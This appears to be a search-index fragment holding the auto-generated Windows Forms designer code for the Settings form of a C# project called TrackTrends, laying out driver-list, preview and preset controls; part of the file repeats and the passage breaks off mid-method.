Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent () { this . components = new System . ComponentModel . Container (); this . label1 = new System . Windows . Forms . Label (); this . label2 = new System . Windows . Forms . Label (); this . gpbxRaceSettings = new System . Windows . Forms . GroupBox (); this . tbxGpUrl = new System . Windows . Forms . TextBox (); this . gpbxDriverList = new System . Windows . Forms . GroupBox (); this . lsbDrivers = new System . Windows . Forms . ListBox (); this . btnRemoveDriver = new System . Windows . Forms . Button (); this . btnAddDriver = new System . Windows . Forms . Button (); this . tbxDriverName = new System . Windows . Forms . TextBox (); this . gpbxPreview = new System . Windows . Forms . GroupBox (); this . lblWindowsRemaining = new System . Windows . Forms . Label (); this . btnResetDriver = new System . Windows . Forms . Button (); this . btnRefresh = new System . Windows . Forms . Button (); this . lblWindowPointsRemaining = new System . Windows . Forms . Label (); this . lblZonePointsRemaning = new System . Windows . Forms . Label (); this . btnCreateWindow = new System . Windows . Forms . Button (); this . pbxPreview = new System . Windows . Forms . PictureBox (); this . btnCreatZone = new System . Windows . Forms . Button (); this . gpbxWindowPreview = new System . Windows . Forms . GroupBox (); this . pbxWindowPreview = new System . Windows . Forms . PictureBox (); this . btnLoadPreset = new System . Windows . Forms . Button (); this . lsbPresets = new System . Windows . Forms . ListBox (); this . tbxPresetName = new System . Windows . Forms . TextBox (); this . btnSavePreset = new System . Windows . Forms . Button (); this . gpbxPresets = new System . Windows . Forms . GroupBox (); this . btnDeletePreset = new System . Windows . Forms . Button (); this . tip1 = new System . Windows . Forms . ToolTip ( this . components ); this . gpbxRaceSettings . SuspendLayout (); this . gpbxDriverList . SuspendLayout (); this . gpbxPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). BeginInit (); this . gpbxWindowPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). BeginInit (); this . gpbxPresets . SuspendLayout (); this . SuspendLayout (); // // label1 // this . label1 . AutoSize = true ; this . label1 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 19.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label1 . ForeColor = System . Drawing . Color . White ; this . label1 . Location = new System . Drawing . Point ( 12 , 14 ); this . label1 . Name = \"label1\" ; this . label1 . Size = new System . Drawing . Size ( 309 , 43 ); this . label1 . TabIndex = 0 ; this . label1 . Text = \"Configuration tool\" ; // // label2 // this . label2 . AutoSize = true ; this . label2 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label2 . ForeColor = System . Drawing . Color . White ; this . label2 . Location = new System . Drawing . Point ( 3 , 25 ); this . label2 . Name = \"label2\" ; this . label2 . Size = new System . Drawing . Size ( 132 , 23 ); this . label2 . TabIndex = 1 ; this . label2 . Text = \"Grand Prix URL\" ; // // gpbxRaceSettings // this . gpbxRaceSettings . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxRaceSettings . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxRaceSettings . Controls . Add ( this . tbxGpUrl ); this . gpbxRaceSettings . Controls . Add ( this . label2 ); this . gpbxRaceSettings . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . gpbxRaceSettings . ForeColor = System . Drawing . Color . White ; this . gpbxRaceSettings . Location = new System . Drawing . Point ( 733 , 9 ); this . gpbxRaceSettings . Name = \"gpbxRaceSettings\" ; this . gpbxRaceSettings . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxRaceSettings . Size = new System . Drawing . Size ( 521 , 58 ); this . gpbxRaceSettings . TabIndex = 2 ; this . gpbxRaceSettings . TabStop = false ; this . gpbxRaceSettings . Text = \"RaceSettings\" ; this . gpbxRaceSettings . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // tbxGpUrl // this . tbxGpUrl . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxGpUrl . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxGpUrl . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . tbxGpUrl . ForeColor = System . Drawing . Color . White ; this . tbxGpUrl . Location = new System . Drawing . Point ( 141 , 25 ); this . tbxGpUrl . Name = \"tbxGpUrl\" ; this . tbxGpUrl . Size = new System . Drawing . Size ( 367 , 22 ); this . tbxGpUrl . TabIndex = 4 ; this . tbxGpUrl . TextChanged += new System . EventHandler ( this . tbxGpUrl_TextChanged ); // // gpbxDriverList // this . gpbxDriverList . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxDriverList . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxDriverList . Controls . Add ( this . lsbDrivers ); this . gpbxDriverList . Controls . Add ( this . btnRemoveDriver ); this . gpbxDriverList . Controls . Add ( this . btnAddDriver ); this . gpbxDriverList . Controls . Add ( this . tbxDriverName ); this . gpbxDriverList . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxDriverList . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxDriverList . ForeColor = System . Drawing . Color . White ; this . gpbxDriverList . Location = new System . Drawing . Point ( 995 , 73 ); this . gpbxDriverList . Name = \"gpbxDriverList\" ; this . gpbxDriverList . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxDriverList . Size = new System . Drawing . Size ( 259 , 269 ); this . gpbxDriverList . TabIndex = 3 ; this . gpbxDriverList . TabStop = false ; this . gpbxDriverList . Text = \"DriverList\" ; this . gpbxDriverList . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lsbDrivers // this . lsbDrivers . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbDrivers . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbDrivers . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbDrivers . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbDrivers . FormattingEnabled = true ; this . lsbDrivers . ItemHeight = 23 ; this . lsbDrivers . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbDrivers . Name = \"lsbDrivers\" ; this . lsbDrivers . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbDrivers . TabIndex = 10 ; // // btnRemoveDriver // this . btnRemoveDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRemoveDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRemoveDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnRemoveDriver . ForeColor = System . Drawing . Color . White ; this . btnRemoveDriver . Location = new System . Drawing . Point ( 132 , 167 ); this . btnRemoveDriver . Name = \"btnRemoveDriver\" ; this . btnRemoveDriver . Size = new System . Drawing . Size ( 121 , 62 ); this . btnRemoveDriver . TabIndex = 9 ; this . btnRemoveDriver . Text = \"Remove\" ; this . btnRemoveDriver . UseVisualStyleBackColor = false ; this . btnRemoveDriver . Click += new System . EventHandler ( this . btnRemoveDriver_Click ); // // btnAddDriver // this . btnAddDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnAddDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnAddDriver . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . btnAddDriver . ForeColor = System . Drawing . Color . White ; this . btnAddDriver . Location = new System . Drawing . Point ( 10 , 167 ); this . btnAddDriver . Name = \"btnAddDriver\" ; this . btnAddDriver . Size = new System . Drawing . Size ( 116 , 62 ); this . btnAddDriver . TabIndex = 8 ; this . btnAddDriver . Text = \"Add\" ; this . btnAddDriver . UseVisualStyleBackColor = false ; this . btnAddDriver . Click += new System . EventHandler ( this . btnAddDriver_Click ); // // tbxDriverName // this . tbxDriverName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxDriverName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxDriverName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxDriverName . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . tbxDriverName . Location = new System . Drawing . Point ( 10 , 235 ); this . tbxDriverName . Name = \"tbxDriverName\" ; this . tbxDriverName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxDriverName . TabIndex = 7 ; // // gpbxPreview // this . gpbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPreview . Controls . Add ( this . lblWindowsRemaining ); this . gpbxPreview . Controls . Add ( this . btnResetDriver ); this . gpbxPreview . Controls . Add ( this . btnRefresh ); this . gpbxPreview . Controls . Add ( this . lblWindowPointsRemaining ); this . gpbxPreview . Controls . Add ( this . lblZonePointsRemaning ); this . gpbxPreview . Controls . Add ( this . btnCreateWindow ); this . gpbxPreview . Controls . Add ( this . pbxPreview ); this . gpbxPreview . Controls . Add ( this . btnCreatZone ); this . gpbxPreview . FlatStyle = System . Windows . Forms . FlatStyle . Flat ; this . gpbxPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPreview . ForeColor = System . Drawing . Color . White ; this . gpbxPreview . Location = new System . Drawing . Point ( 18 , 73 ); this . gpbxPreview . Name = \"gpbxPreview\" ; this . gpbxPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPreview . Size = new System . Drawing . Size ( 968 , 608 ); this . gpbxPreview . TabIndex = 4 ; this . gpbxPreview . TabStop = false ; this . gpbxPreview . Text = \"Preview\" ; this . gpbxPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // lblWindowsRemaining // this . lblWindowsRemaining . AutoSize = true ; this . lblWindowsRemaining . BackColor = System . Drawing . Color . Transparent ; this . lblWindowsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowsRemaining . Location = new System . Drawing . Point ( 215 , 82 ); this . lblWindowsRemaining . Name = \"lblWindowsRemaining\" ; this . lblWindowsRemaining . Size = new System . Drawing . Size ( 183 , 23 ); this . lblWindowsRemaining . TabIndex = 6 ; this . lblWindowsRemaining . Text = \"7 windows remaining\" ; // // btnResetDriver // this . btnResetDriver . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnResetDriver . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnResetDriver . Enabled = false ; this . btnResetDriver . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnResetDriver . ForeColor = System . Drawing . Color . White ; this . btnResetDriver . Location = new System . Drawing . Point ( 748 , 20 ); this . btnResetDriver . Name = \"btnResetDriver\" ; this . btnResetDriver . Size = new System . Drawing . Size ( 211 , 33 ); this . btnResetDriver . TabIndex = 2 ; this . btnResetDriver . Text = \"Reset the emulator\" ; this . btnResetDriver . UseVisualStyleBackColor = false ; this . btnResetDriver . Click += new System . EventHandler ( this . btnResetDriver_Click ); // // btnRefresh // this . btnRefresh . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . btnRefresh . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnRefresh . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnRefresh . ForeColor = System . Drawing . Color . White ; this . btnRefresh . Location = new System . Drawing . Point ( 549 , 20 ); this . btnRefresh . Name = \"btnRefresh\" ; this . btnRefresh . Size = new System . Drawing . Size ( 193 , 33 ); this . btnRefresh . TabIndex = 1 ; this . btnRefresh . Text = \"Start the browser\" ; this . btnRefresh . UseVisualStyleBackColor = false ; this . btnRefresh . Click += new System . EventHandler ( this . btnRefresh_Click ); // // lblWindowPointsRemaining // this . lblWindowPointsRemaining . AutoSize = true ; this . lblWindowPointsRemaining . ForeColor = System . Drawing . Color . White ; this . lblWindowPointsRemaining . Location = new System . Drawing . Point ( 215 , 59 ); this . lblWindowPointsRemaining . Name = \"lblWindowPointsRemaining\" ; this . lblWindowPointsRemaining . Size = new System . Drawing . Size ( 163 , 23 ); this . lblWindowPointsRemaining . TabIndex = 4 ; this . lblWindowPointsRemaining . Text = \"0 points remaining\" ; // // lblZonePointsRemaning // this . lblZonePointsRemaning . AutoSize = true ; this . lblZonePointsRemaning . ForeColor = System . Drawing . Color . White ; this . lblZonePointsRemaning . Location = new System . Drawing . Point ( 19 , 59 ); this . lblZonePointsRemaning . Name = \"lblZonePointsRemaning\" ; this . lblZonePointsRemaning . Size = new System . Drawing . Size ( 163 , 23 ); this . lblZonePointsRemaning . TabIndex = 5 ; this . lblZonePointsRemaning . Text = \"0 points remaining\" ; // // btnCreateWindow // this . btnCreateWindow . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreateWindow . Enabled = false ; this . btnCreateWindow . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreateWindow . ForeColor = System . Drawing . Color . White ; this . btnCreateWindow . Location = new System . Drawing . Point ( 213 , 23 ); this . btnCreateWindow . Name = \"btnCreateWindow\" ; this . btnCreateWindow . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreateWindow . TabIndex = 2 ; this . btnCreateWindow . Text = \"Create the windows\" ; this . btnCreateWindow . UseVisualStyleBackColor = false ; this . btnCreateWindow . Click += new System . EventHandler ( this . btnCreateWindow_Click ); // // pbxPreview // this . pbxPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxPreview . Location = new System . Drawing . Point ( 10 , 62 ); this . pbxPreview . Name = \"pbxPreview\" ; this . pbxPreview . Size = new System . Drawing . Size ( 950 , 540 ); this . pbxPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxPreview . TabIndex = 0 ; this . pbxPreview . TabStop = false ; this . pbxPreview . Click += new System . EventHandler ( this . pbxMain_Click ); this . pbxPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxMain_MouseClick ); // // btnCreatZone // this . btnCreatZone . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnCreatZone . Enabled = false ; this . btnCreatZone . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnCreatZone . ForeColor = System . Drawing . Color . White ; this . btnCreatZone . Location = new System . Drawing . Point ( 6 , 23 ); this . btnCreatZone . Name = \"btnCreatZone\" ; this . btnCreatZone . Size = new System . Drawing . Size ( 201 , 33 ); this . btnCreatZone . TabIndex = 1 ; this . btnCreatZone . Text = \"Create the main zone\" ; this . btnCreatZone . UseVisualStyleBackColor = false ; this . btnCreatZone . Click += new System . EventHandler ( this . btnCreatZone_Click ); // // gpbxWindowPreview // this . gpbxWindowPreview . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Bottom | System . Windows . Forms . AnchorStyles . Left ))); this . gpbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxWindowPreview . Controls . Add ( this . pbxWindowPreview ); this . gpbxWindowPreview . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxWindowPreview . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxWindowPreview . ForeColor = System . Drawing . Color . White ; this . gpbxWindowPreview . Location = new System . Drawing . Point ( 18 , 688 ); this . gpbxWindowPreview . Name = \"gpbxWindowPreview\" ; this . gpbxWindowPreview . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxWindowPreview . Size = new System . Drawing . Size ( 1237 , 88 ); this . gpbxWindowPreview . TabIndex = 5 ; this . gpbxWindowPreview . TabStop = false ; this . gpbxWindowPreview . Text = \"DriverZonePreview\" ; this . gpbxWindowPreview . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // pbxWindowPreview // this . pbxWindowPreview . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . pbxWindowPreview . Location = new System . Drawing . Point ( 6 , 30 ); this . pbxWindowPreview . Name = \"pbxWindowPreview\" ; this . pbxWindowPreview . Size = new System . Drawing . Size ( 1225 , 50 ); this . pbxWindowPreview . SizeMode = System . Windows . Forms . PictureBoxSizeMode . StretchImage ; this . pbxWindowPreview . TabIndex = 0 ; this . pbxWindowPreview . TabStop = false ; this . pbxWindowPreview . Click += new System . EventHandler ( this . pbxDriverZone_Click ); this . pbxWindowPreview . MouseClick += new System . Windows . Forms . MouseEventHandler ( this . pbxDriverZone_MouseClick ); // // btnLoadPreset // this . btnLoadPreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnLoadPreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnLoadPreset . ForeColor = System . Drawing . Color . White ; this . btnLoadPreset . Location = new System . Drawing . Point ( 10 , 213 ); this . btnLoadPreset . Name = \"btnLoadPreset\" ; this . btnLoadPreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnLoadPreset . TabIndex = 10 ; this . btnLoadPreset . Text = \"Load the preset\" ; this . btnLoadPreset . UseVisualStyleBackColor = false ; this . btnLoadPreset . Click += new System . EventHandler ( this . btnLoadPreset_Click ); // // lsbPresets // this . lsbPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . lsbPresets . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . lsbPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . lsbPresets . ForeColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 252 )))), (( int )((( byte )( 252 )))), (( int )((( byte )( 252 ))))); this . lsbPresets . FormattingEnabled = true ; this . lsbPresets . ItemHeight = 23 ; this . lsbPresets . Location = new System . Drawing . Point ( 10 , 23 ); this . lsbPresets . Name = \"lsbPresets\" ; this . lsbPresets . Size = new System . Drawing . Size ( 243 , 138 ); this . lsbPresets . TabIndex = 8 ; this . lsbPresets . SelectedIndexChanged += new System . EventHandler ( this . lsbPresets_SelectedIndexChanged ); // // tbxPresetName // this . tbxPresetName . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . tbxPresetName . BorderStyle = System . Windows . Forms . BorderStyle . None ; this . tbxPresetName . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 11F ); this . tbxPresetName . ForeColor = System . Drawing . Color . White ; this . tbxPresetName . Location = new System . Drawing . Point ( 10 , 303 ); this . tbxPresetName . Name = \"tbxPresetName\" ; this . tbxPresetName . Size = new System . Drawing . Size ( 243 , 24 ); this . tbxPresetName . TabIndex = 7 ; // // btnSavePreset // this . btnSavePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnSavePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnSavePreset . ForeColor = System . Drawing . Color . White ; this . btnSavePreset . Location = new System . Drawing . Point ( 10 , 259 ); this . btnSavePreset . Name = \"btnSavePreset\" ; this . btnSavePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnSavePreset . TabIndex = 7 ; this . btnSavePreset . Text = \"Save current preset\" ; this . btnSavePreset . UseVisualStyleBackColor = false ; this . btnSavePreset . Click += new System . EventHandler ( this . btnSavePreset_Click ); // // gpbxPresets // this . gpbxPresets . Anchor = (( System . Windows . Forms . AnchorStyles )(( System . Windows . Forms . AnchorStyles . Top | System . Windows . Forms . AnchorStyles . Right ))); this . gpbxPresets . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 79 )))), (( int )((( byte )( 79 )))), (( int )((( byte )( 79 ))))); this . gpbxPresets . Controls . Add ( this . btnSavePreset ); this . gpbxPresets . Controls . Add ( this . btnDeletePreset ); this . gpbxPresets . Controls . Add ( this . tbxPresetName ); this . gpbxPresets . Controls . Add ( this . btnLoadPreset ); this . gpbxPresets . Controls . Add ( this . lsbPresets ); this . gpbxPresets . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . gpbxPresets . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10F ); this . gpbxPresets . ForeColor = System . Drawing . Color . White ; this . gpbxPresets . Location = new System . Drawing . Point ( 995 , 348 ); this . gpbxPresets . Name = \"gpbxPresets\" ; this . gpbxPresets . Padding = new System . Windows . Forms . Padding ( 0 ); this . gpbxPresets . Size = new System . Drawing . Size ( 259 , 333 ); this . gpbxPresets . TabIndex = 6 ; this . gpbxPresets . TabStop = false ; this . gpbxPresets . Text = \"Presets\" ; this . gpbxPresets . Paint += new System . Windows . Forms . PaintEventHandler ( this . removeBorders ); // // btnDeletePreset // this . btnDeletePreset . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . btnDeletePreset . FlatStyle = System . Windows . Forms . FlatStyle . Popup ; this . btnDeletePreset . ForeColor = System . Drawing . Color . White ; this . btnDeletePreset . Location = new System . Drawing . Point ( 10 , 167 ); this . btnDeletePreset . Name = \"btnDeletePreset\" ; this . btnDeletePreset . Size = new System . Drawing . Size ( 243 , 40 ); this . btnDeletePreset . TabIndex = 11 ; this . btnDeletePreset . Text = \"Delete the preset\" ; this . btnDeletePreset . UseVisualStyleBackColor = false ; this . btnDeletePreset . Click += new System . EventHandler ( this . btnDeletePreset_Click ); // // Settings // this . AutoScaleDimensions = new System . Drawing . SizeF ( 8F , 19F ); this . AutoScaleMode = System . Windows . Forms . AutoScaleMode . Font ; this . BackColor = System . Drawing . Color . FromArgb ((( int )((( byte )( 51 )))), (( int )((( byte )( 51 )))), (( int )((( byte )( 51 ))))); this . ClientSize = new System . Drawing . Size ( 1266 , 788 ); this . Controls . Add ( this . gpbxPresets ); this . Controls . Add ( this . gpbxWindowPreview ); this . Controls . Add ( this . gpbxPreview ); this . Controls . Add ( this . gpbxDriverList ); this . Controls . Add ( this . label1 ); this . Controls . Add ( this . gpbxRaceSettings ); this . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 7.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . Margin = new System . Windows . Forms . Padding ( 3 , 4 , 3 , 4 ); this . MinimumSize = new System . Drawing . Size ( 1284 , 835 ); this . Name = \"Settings\" ; this . StartPosition = System . Windows . Forms . FormStartPosition . CenterScreen ; this . Text = \"Settings\" ; this . FormClosing += new System . Windows . Forms . FormClosingEventHandler ( this . Settings_FormClosing ); this . Resize += new System . EventHandler ( this . Settings_Resize ); this . gpbxRaceSettings . ResumeLayout ( false ); this . gpbxRaceSettings . PerformLayout (); this . gpbxDriverList . ResumeLayout ( false ); this . gpbxDriverList . PerformLayout (); this . gpbxPreview . ResumeLayout ( false ); this . gpbxPreview . PerformLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). EndInit (); this . gpbxWindowPreview . ResumeLayout ( false ); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). EndInit (); this . gpbxPresets . ResumeLayout ( false ); this . gpbxPresets . PerformLayout (); this . ResumeLayout ( false ); this . PerformLayout (); } #endregion private System . Windows . Forms . Label label1 ; private System . Windows . Forms . Label label2 ; private System . Windows . Forms . GroupBox gpbxRaceSettings ; private System . Windows . Forms . TextBox tbxGpUrl ; private System . Windows . Forms . GroupBox gpbxDriverList ; private System . Windows . Forms . ListBox lsbDrivers ; private System . Windows . Forms . Button btnRemoveDriver ; private System . Windows . Forms . Button btnAddDriver ; private System . Windows . Forms . TextBox tbxDriverName ; private System . Windows . Forms . GroupBox gpbxPreview ; private System . Windows . Forms . PictureBox pbxPreview ; private System . Windows . Forms . GroupBox gpbxWindowPreview ; private System . Windows . Forms . PictureBox pbxWindowPreview ; private System . Windows . Forms . Button btnCreateWindow ; private System . Windows . Forms . Button btnCreatZone ; private System . Windows . Forms . ListBox lsbPresets ; private System . Windows . Forms . TextBox tbxPresetName ; private System . Windows . Forms . Button btnSavePreset ; private System . Windows . Forms . Label lblWindowsRemaining ; private System . Windows . Forms . Label lblZonePointsRemaning ; private System . Windows . Forms . Label lblWindowPointsRemaining ; private System . Windows . Forms . Button btnRefresh ; private System . Windows . Forms . Button btnResetDriver ; private System . Windows . Forms . Button btnLoadPreset ; private System . Windows . Forms . GroupBox gpbxPresets ; private System . Windows . Forms . Button btnDeletePreset ; private System . Windows . Forms . ToolTip tip1 ; } }","title":"Settings.Designer.cs"},{"location":"Code/Settings.Designer.html#settingsdesignercs","text":"namespace TrackTrends { partial class Settings { /// /// Required designer variable. /// private System . ComponentModel . IContainer components = null ; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose ( bool disposing ) { if ( disposing && ( components != null )) { components . Dispose (); } base . Dispose ( disposing ); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent () { this . components = new System . ComponentModel . Container (); this . label1 = new System . Windows . Forms . Label (); this . label2 = new System . Windows . Forms . Label (); this . gpbxRaceSettings = new System . Windows . Forms . GroupBox (); this . tbxGpUrl = new System . Windows . Forms . TextBox (); this . gpbxDriverList = new System . Windows . Forms . GroupBox (); this . lsbDrivers = new System . Windows . Forms . ListBox (); this . btnRemoveDriver = new System . Windows . Forms . Button (); this . btnAddDriver = new System . Windows . Forms . Button (); this . tbxDriverName = new System . Windows . Forms . TextBox (); this . gpbxPreview = new System . Windows . Forms . GroupBox (); this . lblWindowsRemaining = new System . Windows . Forms . Label (); this . btnResetDriver = new System . Windows . Forms . Button (); this . btnRefresh = new System . Windows . Forms . Button (); this . lblWindowPointsRemaining = new System . Windows . Forms . Label (); this . lblZonePointsRemaning = new System . Windows . Forms . Label (); this . btnCreateWindow = new System . Windows . Forms . Button (); this . pbxPreview = new System . Windows . Forms . PictureBox (); this . btnCreatZone = new System . Windows . Forms . Button (); this . gpbxWindowPreview = new System . Windows . Forms . GroupBox (); this . pbxWindowPreview = new System . Windows . Forms . PictureBox (); this . btnLoadPreset = new System . Windows . Forms . Button (); this . lsbPresets = new System . Windows . Forms . ListBox (); this . tbxPresetName = new System . Windows . Forms . TextBox (); this . btnSavePreset = new System . Windows . Forms . Button (); this . gpbxPresets = new System . Windows . Forms . GroupBox (); this . btnDeletePreset = new System . Windows . Forms . Button (); this . tip1 = new System . Windows . Forms . ToolTip ( this . components ); this . gpbxRaceSettings . SuspendLayout (); this . gpbxDriverList . SuspendLayout (); this . gpbxPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxPreview )). BeginInit (); this . gpbxWindowPreview . SuspendLayout (); (( System . ComponentModel . ISupportInitialize )( this . pbxWindowPreview )). BeginInit (); this . gpbxPresets . SuspendLayout (); this . SuspendLayout (); // // label1 // this . label1 . AutoSize = true ; this . label1 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 19.8F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label1 . ForeColor = System . Drawing . Color . White ; this . label1 . Location = new System . Drawing . Point ( 12 , 14 ); this . label1 . Name = \"label1\" ; this . label1 . Size = new System . Drawing . Size ( 309 , 43 ); this . label1 . TabIndex = 0 ; this . label1 . Text = \"Configuration tool\" ; // // label2 // this . label2 . AutoSize = true ; this . label2 . Font = new System . Drawing . Font ( \"Microsoft YaHei UI\" , 10.2F , System . Drawing . FontStyle . Regular , System . Drawing . GraphicsUnit . Point , (( byte )( 0 ))); this . label2 . ForeColor = System . Drawing . Color . White ; this . label2 . Location = new System . Drawing . Point ( 3 , 